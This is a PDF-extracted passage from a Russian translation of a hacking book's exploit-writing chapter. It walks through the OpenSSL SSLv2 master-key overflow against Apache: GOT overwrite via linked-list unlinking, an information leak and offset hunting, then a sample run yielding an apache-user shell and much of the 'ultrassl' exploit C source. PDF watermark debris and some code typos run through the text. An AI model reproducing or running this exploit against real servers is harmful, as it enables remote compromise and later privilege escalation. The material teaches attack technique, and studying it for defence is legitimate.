Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

книги хакеры / Защита_от_взлома_сокеты,_эксплойты,_shell_код_Фостер_Дж_

.pdf
Скачиваний:
14
Добавлен:
19.04.2024
Размер:
3.68 Mб
Скачать

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

 

 

e

 

 

 

 

d

 

 

xch20

 

 

 

 

 

 

 

f-

 

an

 

 

 

 

 

 

 

 

 

 

 

21

 

 

 

22

23

24

25

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Пример: уязвимость, связанная с переполнением буфера 551

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

long time;

 

 

 

df-x chan

e

 

 

 

 

 

 

 

int compress_meth;

 

 

 

 

 

 

 

 

 

 

 

SSL_CIPHER *cipher;

 

 

 

 

 

 

 

 

 

 

 

unsigned long cipher_id;

 

 

 

 

 

 

 

 

 

 

 

STACK_OF(SSL_CIPHER) *ciphers;

/* разделяемые шифры? */

 

 

 

 

 

 

 

 

 

 

CRYPTO_EX_DATA ex_data;

/* данные приложения */

 

 

 

 

 

 

 

 

 

 

26

27struct ssl_session_st *prev, *next;

28} SSL_SESSION;

На первый взгляд, в этой структуре нет ничего, что стоило бы перезаписывать (никаких указателей на функции). Однако в самом конце имеются указатели prev и next, необходимые для управления связанным списком ssl-сессий. По завершении процедуры квитирования, принятой в протоколе SSL, новая сессия помещается в этот список следующей функцией:

(из файла ssl_sess.c – небольшой фрагмент)

1 static void SSL_SESSION_list_add(SSL_CTX *ctx, SSL_SESSION *s)

2{

3if ((s->next != NULL) && (s->prev != NULL))

4SSL_SESSION_list_remove(ctx,s);

Здесь говорится, что если указатели next и prev не равны NULL (а они и будут ненулевыми, если мы их перепишем), то OpenSSL удаляет указанную сессию из списка. Перезаписывание содержимого произвольных 32-разряд- ных слов в памяти происходит в функции SSL_SESSION_list_remove:

(из файла ssl_sess.c – небольшой фрагмент)

1 static void SSL_SESSION_list_remove(SSL_CTX *ctx, SSL_SESSION *s)

2{

3/* середина списка */

4s->next->prev = s->prev;

5 s->prev->next = s->next;

6}

То же на ассемблере:

0x1c532

<SSL_SESSION_list_remove+210>:

mov

%ecx,0xc0(%eax)

0x1c538

<SSL_SESSION_list_remove+216>:

mov

0xc(%ebp),%edx

Этот код позволяет записать в 32-разрядное слово по произвольному адресу содержимое 32-разрядного слова по другому, тоже произвольному адресу. Например, чтобы изменить адрес функции strcmp в глобальной таблице смещений (GOT), мы можем подготовить буфер так, чтобы next указывал на адрес strcmp – 192, а prev содержал адрес нашего shell-кода.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

552 Глава 11. Написание эксплойтов II

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

-xcha

 

 

.c

 

 

 

p

 

 

 

Трудности

 

 

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Усложняют написание эксплойта два указателя в структуре SSL_SESSION: cipher и ciphers. Они связаны с процедурами дешифрирования для SSL-сес- сии. Если они окажутся затерты, то дешифрирования не произойдет и сессия не будет помещена в список. Поэтому необходимо получить значения этих указателей до того, как мы начнем конструировать свой буфер.

На наше счастье, уязвимость в OpenSSL породила некую утечку информации. Когда SSL посылает сообщение «server finish» в ходе процедуры квитирования, то вместе с ним клиенту посылается значение поля session_id из структуры SSL_SESSION.

(из файла s2_srvr.c)

1 static int

2 server_finish(SSL *s)

3 {

4 unsigned char *p;

5

6if (s->state == SSL2_ST_SEND_SERVER_FINISHED_A) {

7p = (unsigned char *) s->init_buf->data;

8 *(p++) = SSL2_MT_SERVER_FINISHED;

9

10memcpy(p, s->session->session_id,

11(unsigned int) s->session->session_id_length);

12/* p += s->session->session_id_length; */

13

14s->state = SSL2_ST_SEND_SERVER_FINISHED_B;

15s->init_num = s->session->session_id_length + 1;

16s->init_off = 0;

17}

18/* SSL2_ST_SEND_SERVER_FINISHED_B */

19}

Âстроках 10 и 11 OpenSSL копирует в буфер session_id_length байтов значе- ния session_id. Ïîëå session_id_length расположено в структуре SSL_SESSION

сразу после массива key_arg, следовательно, мы можем модифицировать его значение. Задав для session_id_length значение 112, мы получим от сервера дамп памяти в куче, включающий адреса, хранящиеся в полях cipher и ciphers.

Итак, нужные адреса мы знаем. Теперь надо найти место для shell-кода. Кстати, нам необходим shell-код, который повторно использует уже открытый сокет. К несчастью, shell-код, который перебирает все файловые дескрипторы и затем дублирует нужный на stdin, stdout è stderr, слишком длинный. Чтобы shell-код выполнился успешно, придется разбить его на две части, одну поместить в массив session_id, а другую – в память, следующую за струк-

турой SSL_SESSION.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Пример: уязвимость, связанная с переполнением буфера

553

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

-xcha

 

 

 

 

 

p

 

-x cha

 

 

 

 

 

 

 

 

 

И, наконец, нам нужно точно знать, по каким адресам будет размещен shell-

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

код. Но последовательность выделения и освобождения памяти из кучи непредсказуема, так что грубая сила ни к чему не приведет. Однако известно, что в только что порожденном процессе Apache первая структура SSL_SESSION всегдаоказывается на одном и том же расстоянии от указателя ciphers (амы уже знаем его адрес). Чтобы эксплойт сработал, мы подменим адрес функции strcmp в глобальной таблице смещений (поскольку дескриптор сокета для этого процесса все еще открыт) адресом ciphers – 136. Этот подход работает, нам удалось таким образом успешно взломать несколько версий Linux.

Усовершенствование эксплойта

Чтобы усовершенствовать эксплойт, мы должны найти дополнительные адреса в глобальной таблице смещений (GOT), которые можно было бы переписать. Эти адреса меняются в каждой версии OpenSSL. Получить информацию о GOT можно с помощью утилиты objdump:

Чтобы получить смещения для Linux:

$ objdump -R /usr/sbin/httpd | grep strcmp

080b0ac8 R_386_JUMP_SLOT

strcmp

Открыть файл ultrassl.c и в массив target поместить:

{ 0x080b0ac8, "slackware 8.1" },

Вывод

На примере этого эксплойта мы продемонстрировали технику атаки на недавно обнаруженную уязвимость в OpenSSL. Хотя атака возможна, но эксплойт может и не сработать в зависимости от состояния атакуемого Webсервера. Чем больше законного SSL-трафика получает жертва, тем призрач- нее шансы на успех атаки. Иногда приходится запускать эксплойт несколько раз, чтобы добиться нужного результата. Как видно из примера исполнения эксплойта ниже, мы получили оболочку с правами пользователя, от имени которого работает Apache.

1(bind@ninsei ~/coding/exploits/ultrassl) > ./ultrassl -t2 10.0.48.64

2ultrassl – an openssl <= 0.9.6d apache exploit

3 written by marshall beddoe <marshall.beddoe@foundstone.com>

4

5атака на redhat 7.2 (Enigma)

6 длина shell-кода 104 байт

7

8создаются соединения: 20 из 20

9

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

554 Глава 11. Написание эксплойтов II

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

df-xchan

10 организуется утечка информации:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

11 06

15

56

33

4b

a2

33

24

39

14

0e

42

75

5a

22

f6

 

 

 

 

 

 

 

 

12 a4

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

 

 

 

 

 

 

 

 

13 00

20

00

00

00

62

33

38

31

61

30

63

61

38

66

36

 

 

 

 

 

 

 

 

14 39

30

33

35

37

32

64

65

34

36

39

31

35

34

65

33

 

 

 

 

 

 

 

 

15 39

36

62

31

66

00

00

00

00

f0

51

15

08

00

00

00

 

 

 

 

 

 

 

 

16 00

00

00

00

00

01

00

00

00

2c

01

00

00

64

70

87

 

 

 

 

 

 

 

 

17 3d

00

00

00

00

8c

10

46

40

00

00

00

00

c0

51

15

 

 

 

 

 

 

 

 

18 08

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

19

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

20 cipher

= 0x4046108c

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

21 ciphers = 0x081551c0

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

22

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

23 выполняется эксплойт..

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

24

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

25 Linux tobor 2.4.7-10 i686 unknown

 

 

 

 

 

 

 

 

 

 

 

 

 

26 uid=48(apache) gid=48(apache) groups=48(apache)

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

t

 

 

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

NOW!

r

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

 

w Click

 

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

| ..

V3K.3$9..BuZ".

 

 

 

 

 

 

 

 

 

 

 

| ................

 

 

 

 

 

 

 

 

 

 

 

 

 

| .

...b381a0ca8f6

 

 

 

 

 

 

 

 

 

 

 

| 903572de469154e3

 

 

 

 

 

 

 

 

 

 

 

| 96b1f.....

Q.....

 

 

 

 

 

 

 

 

 

 

 

| .........

 

,...dp.

 

 

 

 

 

 

 

 

 

 

 

| =......

F@.....

Q.

 

 

 

 

 

 

 

 

 

 

 

| .

 

 

 

 

 

 

 

 

 

 

 

 

 

Код эксплойта для переполнения буфера из-за неправильно сформированного клиентского ключа в OpenSSL SSLv2

Показанная ниже программа эксплуатирует ошибку в библиотеке OpenSSL, вызывающую затирание памяти в связанном списке. В результате запуска эксплойта удается получить оболочку с правами пользователя «apache». В большинстве систем Linux последующее повышение привилегий до уровня root тривиально.

1

#include

<sys/types.h>

2

#include

<sys/socket.h>

3

#include

<netinet/in.h>

4

#include

<sys/signal.h>

5

 

 

6

#include

<fcntl.h>

7

#include

<stdio.h>

8

#include

<stdlib.h>

9

#include

<string.h>

10

#include

<unistd.h>

11

 

 

12

#include

"ultrassl.h"

13

#include

"shellcode.h"

14

 

 

15 char *host;

16int con_num, do_ssl, port;

17u_long cipher, ciphers, brute_addr = 0;

19 typedef struct {

20 u_long retloc;

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

 

t

 

 

 

F

 

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

 

 

i

 

 

 

D

 

 

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

 

NOW!

o

 

P

 

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

Пример: уязвимость, связанная с переполнением буфера 555

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

w Click

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

 

 

.c

 

 

 

.

 

 

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

 

 

e

 

u_long retaddr;

 

 

p

 

 

 

x cha

 

e

 

 

 

 

d

 

 

xch21

 

 

 

 

 

 

d

 

 

g

 

 

 

 

 

 

 

f-

 

an

 

 

 

 

 

 

 

 

 

f-

 

 

n

 

 

 

 

 

 

 

 

 

 

 

22

 

 

 

char *name;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

23 } targets;

24

25 targets target[] = {

26{0x08085a0, 0xbfffda38, "redhat 7.3 (Valhalla)"},

27{0x08085a0, 0xbfffda38, "test"},

28{0x0, 0xbfbfdca8, "freebsd"}

29};

30

31targets *my_target;

32int target_num = sizeof(target) / sizeof(*target);

34void

35 sighandler(int sig)

36{

37int sockfd, rand_port;

39 putchar('\n');

40

41 rand_port = 1 + (int) (65535.0 * rand() / (RAND_MAX + 31025.0));

42

43 putchar('\n');

44

45 populate(host, 80, con_num, do_ssl, rand_port);

46

47printf("выполняется эксплойт..\n");

48sockfd = exploit(host, port, brute_addr, 0xbfffda38, rand_port);

50if (sock_fd > 0)

51shell(sockfd);

52}

53

54int

55main(int argc, char **argv)

56{

57char opt;

58char *p;

59u_long addr = 0;

60int sockfd, ver, i;

61

62ver = -1;

63port = 443;

64do_ssl = 0;

65p = argv[0];

66con)num = 12;

68srand(time(NULL) ^ getpid());

69signal(SIGPIPE, &sighandler);

70setvbuf(stdout, NULL, _IONBUF, 0);

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

556 Глава 11. Написание эксплойтов II

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

71

 

 

 

df-xchan

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

72puts("ultrassl – an openssl <= 0.9.6d apache exploit\n");

73"written by marshall beddoe <marshall.beddoe@foundstone.com>");

75if (argc < 2)

76usage(p);

78while ((opt = getopt(argc, argv, "p:c:a:t:s")) != EOF) {

79switch (opt) {

80case 'p':

81port = atoi(optarg);

82break;

83case 'c':

84con_num = atoi(optarg);

85break;

86case 'a':

87addr = strtoul(optarg, NULL, 0);

88break;

89case 't':

90ver = atoi(optarg) – 1;

91break;

92case 's':

93do_ssl = 1;

94break;

95default:

96usage(p);

97}

98}

99

100argv += optind;

101host = argv[0];

103ver = 0;

105if (ver < 0 || ver >= target_num) && !addr) {

106printf(\nöåëè:\n");

107for (i = 0; i < target_num; i++)

108printf(" -t%d\t%s\n", i + 1, target[i].name);

109exit(-1);

110}

111my_target = target + ver;

112

113if (addr)

114brute_addr = addr;

116if (!host)

117

usage(p);

118

 

119

printf("длина shell-кода %d байт\n", sizeof(shellcode));

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

 

 

i

r

P

 

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

 

 

e

 

 

 

 

 

d

 

 

xch120

 

 

 

 

 

 

f-

 

an

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Пример: уязвимость, связанная с переполнением буфера 557

 

to

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

121 infoleak(host, port);

122

123if (!brute_addr)

124brute_addr = cipher + 8192; // 0x08083e18

126 putchar('\n');

127

128for (i = 0; i < 1024; i++) {

129int sd;

130

131 printf("грубой силой: 0x%x\r", brute_addr);

132

133 sd = exploit(host, port, brute_addr, 0xbfffda38, 0);

134

135if (sd > 0) {

136shutdown(ds, 1);

137close(sd);

138}

139

140brute_addr += 4;

141}

142exit(0);

143}

144

145int

146populate(char *host, int port, int num, int do_ssl, int rand_port)

147{

148int i, *socks;

149char buf[1024 * 3];

150char header[] = "GET / HTTP/1.0\r\nHost: ";

151struct sockaddr_in sin;

152

153 printf("модифцируется shell-код..\n");

154

155 memset(buf, 0x90, sizeof(buf));

156

157for (i = 0; i < sizeof(buf); i += 2)

158*(short *)&buf[i] = 0xfceb;

159

160 memcpy(buf, header, sizeof(header));

161

162buf[sizeof(buf) – 2] = 0x0a;

163buf[sizeof(buf) – 1] = 0x0a;

164buf[sizeof(buf) – 0] = 0x0;

166shellcode[47 + 0] = (u_char)((rand_port >> 8) & 0xff);

167shellcode[47 + 1] = (u_char)(rand_port & 0xff);

168

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

558 Глава 11. Написание эксплойтов II

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

e

 

 

 

 

df-xchan

169 memcpy(buf + 768, shellcode, strlen(shellcode));

 

 

 

 

 

 

 

 

170

171sin.sin_family = AF_INET;

172sin.sin_port = htons(port);

173sin.sin_addr.s_addr = resolve(host);

175 socks = malloc(sizeof(int) * num);

176

177for (i = 0; i < num; i++) {

178ssl_conn *ssl;

179

180 usleep(100);

181

182socks[i] = socket(AF_INET, SOCK_STREAM, 0);

183if (socks[i] < 0) {

184perror("socket()");

185return(-1);

186}

187connect(socks[i], (struct sockaddr *)&sin, sizeof(sin));

188write(socks[i], buf, strlen(buf));

189}

190

191for (i = 0; i < num; i++) {

192shutdown(socks[i], 1);

193close(socks[i]);

194}

195}

196

197int

198infoleak(char * host, int port)

199{

200u_char *p;

201u_char buf[56];

202ssl_conn *ssl;

203

204memset(buf, 0, sizeof(buf));

205p = buf;

206

207/* session_id_length */

208*(long *) &buf[52] = 0x00000070;

210 printf("\nорганизуется утечка информации:\n");

211

212if (!ssl = ssl_connect(host, port, 0)))

213return(-1);

214

215 send_client_hello(ssl);

216

217 if (get_server_hello(ssl) < 0)

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

send_client_master_key(ssl, buf, sizeof(buf));
generate_keys(ssl);
return(-1);

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

 

 

i

r

P

 

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

 

 

e

 

 

 

 

 

d

 

 

xch218

 

 

 

 

 

 

f-

 

an

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Пример: уязвимость, связанная с переполнением буфера 559

 

to

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

219

220

221

222

223

224if (get_server_verify(ssl) < 0)

225return(-1);

226

227send_client_finish(ssl);

228get_server_finish(ssl, 1);

230printf("\ncipher\t= 0x%08x\n", cipher);

231printf("\nciphers\t= 0x%08x\n", ciphers);

233shutdown(ssl->sockfd, 1);

234close(ssl->sockfd);

235}

236

237int

238exploit(char *host, int port, u_long retloc, u_long retaddr,

int rand_port)

239{

240u_char *p;

241ssl_conn *ssl;

242int i, src_port;

243u_char buf[184], test[400];

244struct sockaddr_in sin;

246if (!(ssl = sll_connect(host, port, rand_port)))

247return(-1);

248

249 memset(buf, 0x0, sizeof(buf));

250

251 p = buf;

252

253 *(long *) &buf[52] = 0x00000070;

254

255*(long *) &buf[156] = cipher;

256*(long *) &buf[164] = ciphers;

258*(long *) &buf[172 + 4] = retaddr;

259*(long *) &buf[172 + 8] = retloc – 192;

261send_client_hello(ssl);

262if (get_server_hello(ssl) < 0)

263return(-1);

264

265 send_client_master_key(ssl, buf, sizeof(buf));

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

560 Глава 11. Написание эксплойтов II

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

